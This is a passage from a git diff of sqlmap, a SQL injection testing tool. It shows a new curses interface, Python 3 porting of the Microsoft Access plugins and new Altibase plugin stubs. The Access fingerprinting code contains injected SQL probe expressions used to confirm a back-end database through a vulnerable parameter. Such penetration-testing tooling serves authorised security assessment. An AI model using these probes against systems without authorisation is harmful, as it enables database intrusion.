str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + elif filename: + # File not found + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " File Not Found ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, "File does not exist:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _run_sqlmap(self): + """Run sqlmap with current configuration""" + config = {} + + # Collect all field values + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for option in self.parser.option_list: + if option.dest not in config or config[option.dest] is None: + config[option.dest] = defaults.get(option.dest, None) + + # Create temp config file + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + # Show console + self._show_console(configFile) + + def _show_console(self, configFile): + """Show console output from sqlmap""" + height, width = self.stdscr.getmaxyx() + + # Create console window + console_win = curses.newwin(height - 4, width - 4, 2, 2) + console_win.box() + console_win.attron(curses.color_pair(2)) + console_win.addstr(0, 2, " sqlmap Console - Press Q to close ") + console_win.attroff(curses.color_pair(2)) + console_win.refresh() + + # Create output area + output_win = console_win.derwin(height - 8, width - 8, 2, 2) + output_win.scrollok(True) + output_win.idlok(True) + + # Start sqlmap process + try: + process = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=1, + close_fds=not IS_WIN + ) + + if not IS_WIN: + # Make it non-blocking + import fcntl + flags = fcntl.fcntl(process.stdout, fcntl.F_GETFL) + fcntl.fcntl(process.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK) + + output_win.nodelay(True) + console_win.nodelay(True) + + lines = [] + current_line = "" + + while True: + # Check for user input + try: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + # Kill process + process.terminate() + break + elif key == curses.KEY_ENTER or key == 10: + # Send newline to process + if process.poll() is None: + try: + process.stdin.write(b'\n') + process.stdin.flush() + except: + pass + except: + pass + + # Read output + try: + chunk = process.stdout.read(1024) + if chunk: + current_line += chunk.decode('utf-8', errors='ignore') + + # Split into lines + while '\n' in current_line: + line, current_line = current_line.split('\n', 1) + lines.append(line) + + # Keep only last N lines + if len(lines) > 1000: + lines = lines[-1000:] + + # Display lines + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + output_win.refresh() + console_win.refresh() + except: + pass + + # Check if process ended + if process.poll() is not None: + # Read remaining output + try: + remaining = process.stdout.read() + if remaining: + current_line += remaining.decode('utf-8', errors='ignore') + for line in current_line.split('\n'): + if line: + lines.append(line) + except: + pass + + # Display final output + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + + output_win.addstr(height - 9, 0, "--- Process finished. Press Q to close ---") + output_win.refresh() + console_win.refresh() + + # Wait for Q + console_win.nodelay(False) + while True: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + break + + break + + # Small delay + curses.napms(50) + + except Exception as ex: + output_win.addstr(0, 0, "Error: %s" % getSafeExString(ex)) + output_win.refresh() + console_win.nodelay(False) + console_win.getch() + + finally: + # Clean up + try: + os.unlink(configFile) + except: + pass + + console_win.nodelay(False) + output_win.nodelay(False) + del output_win + del console_win + + def run(self): + """Main UI loop""" + while True: + self.stdscr.clear() + + # Draw UI + self._draw_header() + self._draw_tabs() + self._draw_current_tab() + self._draw_footer() + + self.stdscr.refresh() + + # Get input + key = self.stdscr.getch() + + tab = self.tabs[self.current_tab] + + # Handle input + if key == curses.KEY_F10 or key == 27: # F10 or ESC + break + elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow + self.current_tab = (self.current_tab + 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_LEFT: # Left arrow + self.current_tab = (self.current_tab - 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_UP: # Up arrow + if self.current_field > 0: + self.current_field -= 1 + # Adjust scroll if needed + if self.current_field < self.scroll_offset: + self.scroll_offset = self.current_field + elif key == curses.KEY_DOWN: # Down arrow + if self.current_field < len(tab['options']) - 1: + self.current_field += 1 + # Adjust scroll if needed + height, width = self.stdscr.getmaxyx() + visible_lines = height - 8 + if self.current_field >= self.scroll_offset + visible_lines: + self.scroll_offset = self.current_field - visible_lines + 1 + elif key == curses.KEY_ENTER or key == 10 or key == 13: # Enter + self._edit_field() + elif key == curses.KEY_F2: # F2 to run + self._run_sqlmap() + elif key == curses.KEY_F3: # F3 to export + self._export_config() + elif key == curses.KEY_F4: # F4 to import + self._import_config() + elif key == ord(' '): # Space for boolean toggle + option = tab['options'][self.current_field] + if option['type'] == 'bool': + option['value'] = not option['value'] + +def runTui(parser): + """Main entry point for ncurses TUI""" + # Check if ncurses is available + if curses is None: + raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + try: + # Initialize and run + def main(stdscr): + ui = NcursesUI(stdscr, parser) + ui.run() + + curses.wrapper(main) + + except Exception as ex: + errMsg = "unable to create ncurses UI ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py new file mode 100644 index 00000000000..d54a313aca3 --- /dev/null +++ b/lib/utils/versioncheck.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import sys +import time + +PYVERSION = sys.version.split()[0] + +if PYVERSION < "2.7": + sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) + +errors = [] +extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") +for _ in extensions: + try: + __import__(_) + except ImportError: + errors.append(_) + +if errors: + errMsg = "[%s] [CRITICAL] missing one or more core extensions (%s) " % (time.strftime("%X"), ", ".join("'%s'" % _ for _ in errors)) + errMsg += "most likely because current version of Python has been " + errMsg += "built without appropriate dev packages" + sys.exit(errMsg) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py new file mode 100644 index 00000000000..1a911b567e3 --- /dev/null +++ b/lib/utils/xrange.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import numbers + +class xrange(object): + """ + Advanced (re)implementation of xrange (supports slice/copy/etc.) + Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ + + >>> list(xrange(1, 9)) == list(range(1, 9)) + True + >>> list(xrange(8, 0, -16)) == list(range(8, 0, -16)) + True + >>> list(xrange(0, 8, 16)) == list(range(0, 8, 16)) + True + >>> list(xrange(0, 4, 5)) == list(range(0, 4, 5)) + True + >>> list(xrange(4, 0, 3)) == list(range(4, 0, 3)) + True + >>> list(xrange(0, -3)) == list(range(0, -3)) + True + >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2)) + True + >>> foobar = xrange(1, 10) + >>> 7 in foobar + True + >>> 11 in foobar + False + >>> foobar[0] + 1 + """ + + __slots__ = ['_slice'] + + def __init__(self, *args): + if args and isinstance(args[0], type(self)): + self._slice = slice(args[0].start, args[0].stop, args[0].step) + else: + self._slice = slice(*args) + if self._slice.stop is None: + raise TypeError("xrange stop must not be None") + + @property + def start(self): + if self._slice.start is not None: + return self._slice.start + return 0 + + @property + def stop(self): + return self._slice.stop + + @property + def step(self): + if self._slice.step is not None: + return self._slice.step + return 1 + + def __hash__(self): + return hash(self._slice) + + def __repr__(self): + return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) + + def __len__(self): + return self._len() + + def _len(self): + return max(0, 1 + int((self.stop - 1 - self.start) // self.step)) + + def __contains__(self, value): + return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 + + def __getitem__(self, index): + if isinstance(index, slice): + start, stop, step = index.indices(self._len()) + return xrange(self._index(start), + self._index(stop), step * self.step) + elif isinstance(index, numbers.Integral): + if index < 0: + fixed_index = index + self._len() + else: + fixed_index = index + + if not 0 <= fixed_index < self._len(): + raise IndexError("Index %d out of %r" % (index, self)) + + return self._index(fixed_index) + else: + raise TypeError("xrange indices must be slices or integers") + + def _index(self, i): + return self.start + self.step * i + + def index(self, i): + if self.start <= i < self.stop: + return i - self.start + else: + raise ValueError("%d is not in list" % i) diff --git a/plugins/__init__.py b/plugins/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 2daeeea5cd2..fbb3a131c46 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.ACCESS] = Syntax.unescape + unescaper[DBMS.ACCESS] = Syntax.escape diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 09805236ab7..91b8f246649 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,64 +1,64 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import pyodbc -except ImportError, _: +except: pass +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import IS_WIN from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://pyodbc.googlecode.com/ - User guide: http://code.google.com/p/pyodbc/wiki/GettingStarted - API: http://code.google.com/p/pyodbc/w/list + Homepage: https://github.com/mkleehammer/pyodbc + User guide: https://github.com/mkleehammer/pyodbc/wiki Debian package: python-pyodbc License: MIT """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " errMsg += "is restricted to Windows platforms" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) self.initConnection() self.checkFileDb() try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) - except (pyodbc.Error, pyodbc.OperationalError), msg: - raise sqlmapConnectionException, msg[1] + except (pyodbc.Error, pyodbc.OperationalError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except pyodbc.ProgrammingError, msg: - logger.warn("(remote) %s" % msg[1]) + except pyodbc.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: - logger.warn("(remote) %s" % msg[1]) - except pyodbc.Error, msg: - raise sqlmapConnectionException, msg[1] + except (pyodbc.OperationalError, pyodbc.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pyodbc.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 6fa25b0b870..806049186a0 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,77 +1,84 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): - warnMsg = "on Microsoft Access it is not possible to get a banner" - logger.warn(warnMsg) + warnMsg = "on Microsoft Access it is not possible to get the banner" + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) - def isDba(self): + def isDba(self, user=None): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): - warnMsg = "on Microsoft Access it is not possible to enumerate databases" - logger.warn(warnMsg) + warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 79cf15f8b84..bb8c17d1ec8 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Microsoft Access it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index f56afbe42c3..e542e889ece 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -10,9 +10,8 @@ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getCurrentThreadData -from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import wasLastRequestDBMSError +from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -27,7 +26,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) - def __sandBoxCheck(self): + def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None @@ -43,17 +42,18 @@ def __sandBoxCheck(self): return retVal - def __sysTablesCheck(self): + def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) # Microsoft Access table reference updated on 01/2010 sysTables = { - "97": ("MSysModules2", "MSysAccessObjects"), - "2000" : ("!MSysModules2", "MSysAccessObjects"), - "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), - "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") - } + "97": ("MSysModules2", "MSysAccessObjects"), + "2000": ("!MSysModules2", "MSysAccessObjects"), + "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), + "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"), + } + # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") @@ -67,8 +67,7 @@ def __sysTablesCheck(self): negate = True table = table[1:] - randInt = randomInt() - result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) + result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table) if result is None: result = False @@ -85,19 +84,18 @@ def __sysTablesCheck(self): return None - def __getDatabaseDir(self): + def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) - randInt = randomInt() randStr = randomStr() - _ = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE %d=%d)" % (randStr, randStr, randInt, randInt)) + inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) - if wasLastRequestDBMSError(): + if wasLastResponseDBMSError(): threadData = getCurrentThreadData() - match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) + match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) @@ -126,30 +124,31 @@ def getFingerprint(self): value += DBMS.ACCESS return value - actVer = Format.getDbms() + " (%s)" % (self.__sandBoxCheck()) + actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) - value += "\ndatabase directory: '%s'" % self.__getDatabaseDir() + value += "\ndatabase directory: '%s'" % self._getDatabaseDir() return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True @@ -163,11 +162,11 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) - result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = inject.checkBooleanExpression("IIF(ATN(2) IS NOT NULL,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False setDbms(DBMS.ACCESS) @@ -178,7 +177,7 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) - version = self.__sysTablesCheck() + version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) @@ -186,7 +185,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 83b6080567b..9935739d90c 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,70 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "" - - for i in xrange(firstIndex, lastIndex): - unescaped += "CHR(%d)" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "&" - - expression = expression.replace(old, unescaped) - else: - unescaped = "".join("CHR(%d)&" % ord(c) for c in expression) - if unescaped[-1] == "&": - unescaped = unescaped[:-1] - - expression = unescaped - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find(")") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.lstrip("CHR(").rstrip(")") - oldUpper = oldUpper.split("&") + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar" + True + """ - escaped = "'%s'" % "".join(chr(int(char)) for char in oldUpper) - expression = expression.replace(old, escaped).replace("'&'", "") + def escaper(value): + return "&".join("CHR(%d)" % _ for _ in getOrds(value)) - return expression + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index ae215730606..cb6e1fa7971 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,31 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py new file mode 100644 index 00000000000..a8e50cf19db --- /dev/null +++ b/plugins/dbms/altibase/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import ALTIBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.altibase.enumeration import Enumeration +from plugins.dbms.altibase.filesystem import Filesystem +from plugins.dbms.altibase.fingerprint import Fingerprint +from plugins.dbms.altibase.syntax import Syntax +from plugins.dbms.altibase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Altibase methods + """ + + def __init__(self): + self.excludeDbsList = ALTIBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.ALTIBASE] = Syntax.escape diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py new file mode 100644 index 00000000000..bf0f66a6c42 --- /dev/null +++ b/plugins/dbms/altibase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Altibase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py new file mode 100644 index 00000000000..467897eb336 --- /dev/null +++ b/plugins/dbms/altibase/enumeration.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getStatements(self): + warnMsg = "on Altibase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getHostname(self): + warnMsg = "on Altibase it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/altibase/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py new file mode 100644 index 00000000000..8c99a80ea1f --- /dev/null +++ b/plugins/dbms/altibase/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import ALTIBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.ALTIBASE) + + def getFingerprint(self): + value = "" + wsOsFp = 